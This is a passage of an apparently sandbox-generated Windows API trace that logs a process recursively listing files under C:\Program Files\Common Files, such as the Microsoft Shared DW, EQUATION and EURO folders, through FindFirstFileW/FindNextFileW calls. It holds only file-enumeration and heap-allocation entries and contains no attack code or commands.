ftLastWriteTime.dwLowDateTime=0xaa3471d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26840b0 [0067.545] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xaa3471d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xaa3471d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.545] FindNextFileW (in: hFindFile=0x26840b0, lpFindFileData=0x27ff7e8 | out: lpFindFileData=0x27ff7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0067.545] GetProcessHeap () returned 0x550000 [0067.545] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5a8eb8 [0067.545] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*", lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26840f0 [0067.545] FindNextFileW (in: hFindFile=0x26840f0, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x69da35f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69da35f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.546] FindNextFileW (in: hFindFile=0x26840f0, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0067.546] GetProcessHeap () returned 0x550000 [0067.546] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b8ec0 [0067.546] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684130 [0067.547] FindNextFileW (in: hFindFile=0x2684130, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.547] FindNextFileW (in: hFindFile=0x2684130, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 1 [0067.547] FindNextFileW (in: hFindFile=0x2684130, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0067.547] FindClose (in: hFindFile=0x2684130 | out: hFindFile=0x2684130) returned 1 [0067.547] GetProcessHeap () returned 0x550000 [0067.547] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b8ec0 | out: hHeap=0x550000) returned 1 [0067.547] FindNextFileW (in: hFindFile=0x26840f0, lpFindFileData=0x27ff560 | out: lpFindFileData=0x27ff560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0067.548] GetProcessHeap () returned 0x550000 [0067.548] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b8ec0 [0067.548] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*", lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2684130 [0067.548] FindNextFileW (in: hFindFile=0x2684130, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.548] FindNextFileW (in: hFindFile=0x2684130, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1 [0067.548] GetProcessHeap () returned 0x550000 [0067.548] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0067.549] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26841b0 [0067.554] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.554] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0067.555] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0067.555] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0067.555] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 0 [0067.555] FindClose (in: hFindFile=0x26841b0 | out: hFindFile=0x26841b0) returned 1 [0067.556] GetProcessHeap () returned 0x550000 [0067.556] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0067.556] FindNextFileW (in: hFindFile=0x2684130, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0067.556] GetProcessHeap () returned 0x550000 [0067.556] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26950a8 [0067.556] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26841b0 [0067.556] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.557] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0067.557] GetProcessHeap () returned 0x550000 [0067.557] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a50b0 [0067.558] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0068.985] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.985] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1 [0068.985] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 0 [0068.986] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0068.992] GetProcessHeap () returned 0x550000 [0068.992] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a50b0 | out: hHeap=0x550000) returned 1 [0069.004] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1 [0069.005] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1 [0069.005] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="eqnedt32.exe.manifest", cAlternateFileName="EQNEDT~1.MAN")) returned 1 [0069.005] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1 [0069.006] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1 [0069.006] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 0 [0069.006] FindClose (in: hFindFile=0x26841b0 | out: hFindFile=0x26841b0) returned 1 [0069.006] GetProcessHeap () returned 0x550000 [0069.006] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26950a8 | out: hHeap=0x550000) returned 1 [0069.007] FindNextFileW (in: hFindFile=0x2684130, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0069.007] GetProcessHeap () returned 0x550000 [0069.007] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26c70c0 [0069.007] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*", lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26841b0 [0069.017] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.018] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0069.019] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 0 [0069.019] FindClose (in: hFindFile=0x26841b0 | out: hFindFile=0x26841b0) returned 1 [0069.019] GetProcessHeap () returned 0x550000 [0069.020] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26c70c0 | out: hHeap=0x550000) returned 1 [0069.020] FindNextFileW (in: hFindFile=0x2684130, lpFindFileData=0x27ff2d8 | out: lpFindFileData=0x27ff2d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0069.020] GetProcessHeap () returned 0x550000 [0069.020] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26c70c0 [0069.020] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26841b0 [0069.040] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.040] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x0, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0069.040] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, 